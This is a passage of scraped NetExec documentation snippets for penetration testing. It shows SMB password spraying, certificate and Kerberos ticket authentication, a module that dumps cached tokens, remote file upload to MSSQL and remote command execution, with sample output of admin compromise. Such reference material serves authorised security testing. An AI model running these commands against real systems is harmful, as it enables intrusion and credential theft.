nxc smb 192.168.1.101 -u user1 -p password1 password2 password3
```

--------------------------------

### Authenticate with password-protected PFX certificate

Source: https://www.netexec.wiki/getting-started/using-certificates.md

Provide a password for a PFX certificate file during SMB authentication.

```bash
nxc smb 192.168.0.1 --pfx-cert user.pfx --pfx-pass password -u user
```

--------------------------------

### Authenticate with base64 encoded PFX certificate

Source: https://www.netexec.wiki/getting-started/using-certificates.md

Use a base64 encoded PFX certificate file for SMB authentication.

```bash
nxc smb 192.168.0.1 --pfx-base64 user.pfx -u user
```

--------------------------------

### Dump Token Broker Cache with NetExec

Source: https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-token-broker-cache.md

Executes the wam module against a target to extract cached tokens. Requires local admin privileges; use --local-auth for local accounts.

```bash
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' -M wam
```

```bash
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' -M wam --mkfile masterkeys.txt
```

```bash
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' -M wam --pvk domain_backup_key.pvk
```

--------------------------------

### Execute Compiled Linux Binary

Source: https://www.netexec.wiki/getting-started/installation/manually-building-the-binary.md

Path to the resulting binary after a successful build on Linux.

```bash
./dist/nxc
```

--------------------------------

### Upload a file to MSSQL

Source: https://www.netexec.wiki/mssql-protocol/mssql-upload-download.md

Use the --put-file flag to copy a local file to a specified path on the remote MSSQL server.

```bash
nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --put-file /tmp/users C:\\Windows\\Temp\\whoami.txt
```

```bash
nxc mssql 192.168.212.134 -u administrator -p October2022 --put-file /tmp/users C:\\Windows\\Temp\\whoami.txt
MSSQL       192.168.212.134 1433   DC01             [*] Windows 10.0 Build 20348 (name:DC01) (domain:poudlard.wizard)
MSSQL       192.168.212.134 1433   DC01             [+] poudlard.wizard\administrator:October2022 (Pwn3d!)
MSSQL       192.168.212.134 1433   DC01             [*] Copy /tmp/users to C:\Windows\Temp\whoami.txt
MSSQL       192.168.212.134 1433   DC01             [*] Size is 23 bytes
MSSQL       192.168.212.134 1433   DC01             [+] File has been uploaded on the remote machine
```

--------------------------------

### Authenticate with Kerberos using ticket cache

Source: https://www.netexec.wiki/getting-started/using-kerberos.md

Set the KRB5CCNAME environment variable to point to a ccache file and use the --use-kcache flag to authenticate.

```bash
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache 
$ nxc smb zoro.gold.local --use-kcache
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
$ nxc smb zoro.gold.local --use-kcache -x whoami
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
SMB         zoro.gold.local 445    ZORO             [+] Executed command 
SMB         zoro.gold.local 445    ZORO             gold\administrator

$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ nxc smb zoro.gold.local --use-kcache -x whoami
SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay
```
Tokens:
Raw